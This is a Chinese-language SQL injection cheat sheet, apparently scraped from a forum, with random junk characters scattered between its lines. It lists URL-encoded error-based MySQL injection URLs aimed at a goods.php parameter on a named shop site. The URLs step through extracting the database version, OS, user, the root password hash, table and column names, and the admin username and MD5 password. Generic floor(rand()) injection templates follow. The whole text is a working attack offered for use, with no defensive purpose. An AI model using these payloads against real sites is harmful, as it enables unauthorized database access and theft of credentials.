判断版本号
& Z7 J4 Q# \/ n. S9 j. ehttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23/ {) o3 r, O. a2 l7 @/ ~$ ]
/ S" G3 I \6 q. Z2 e判断系统
6 ]# f0 T# v0 v6 i8 e4 t2 G+ k$ i
' `4 W5 \5 Y. khttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%231 M& Z- _6 k7 x
7 V& E& G/ I3 C4 i; g: u+ `( d
) q' i# ?; f' M' |: q' ?
2 K5 {8 k$ y4 I3 F1 u. d当前 user() |: [. `2 [2 ?2 F9 X- V
P8 j# |! @% i9 P$ q1 whttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
9 H, \2 s% _2 V
V% C* i b% s* f4 l" G2 j: h/ X0 G0 b/ [+ B
9 E& y; k+ r$ h1 ~$ d$ _3 g& B
当前 database()! K% z# w9 G9 i( Y3 `/ b+ e9 Y5 n
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%234 s$ n9 ~% N. c. L+ g
: O( A. ~6 I( ]6 O; s+ }) n5 l: B7 Z
6 V1 Z- d0 n& o1 Q, d3 p
! J. F- M: r/ ~% o+ Vroot hash
) I0 B, R4 n2 [$ ?! { z4 @. N6 ^) u+ i/ z
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
4 `" A, W; S' T: m3 i1 @; d! N/ u% c
0 Z7 h2 P f$ B' ^# [7 i0 S
E+ u2 y) \: J; N6 B/ C& {. ~当前 数据库表名0 ]. m4 D8 T* \ \) I) H
0 f/ r* L) m- x% L/ J5 Qhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%237 j6 p5 T) M9 k4 u& x* d
. f$ I* M* h, j' V7 m) R x5 F$ V9 M+ w+ A1 O
* F3 \) p4 n5 k8 j- y( }5 I5 b
当前 数据库 user_name 字段
' `7 P# u0 |+ E% N% u" d5 E' s& b
( ~" G6 ^1 F! X6 y0 p3 x, Ohttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
: V2 l; e& k: U; `; N g/ U0 G7 ^) u1 g4 ]
当前 数据库 字段 password
. Z1 A3 D$ d3 n3 O/ Fhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
4 }0 Q7 |4 ]1 F' q& a0 o* {! \. J2 h4 f- E
+ Y9 g4 t3 ]" V! A
. x% F7 u4 L0 h* \. ]获得 admin passwd(md5), {! d1 e2 u' h& q- y, O
" u0 v! ]" u" Z8 v; {; s
" W0 |; V; j7 g+ I9 {: ^http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
& W1 K' p" i' I$ h! P; F. ~4 ~0 ?' o- ]! g' @7 `. l" Q( I
报错注射+ y( G; K( J( E
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
( j2 C) A% B, l/ o: _" c
& m. ?! ]1 l2 g" x$ d& \SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
. p# B5 H; B% Q$ M( b
: I7 p2 Q+ \4 x3 U* l' ?and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |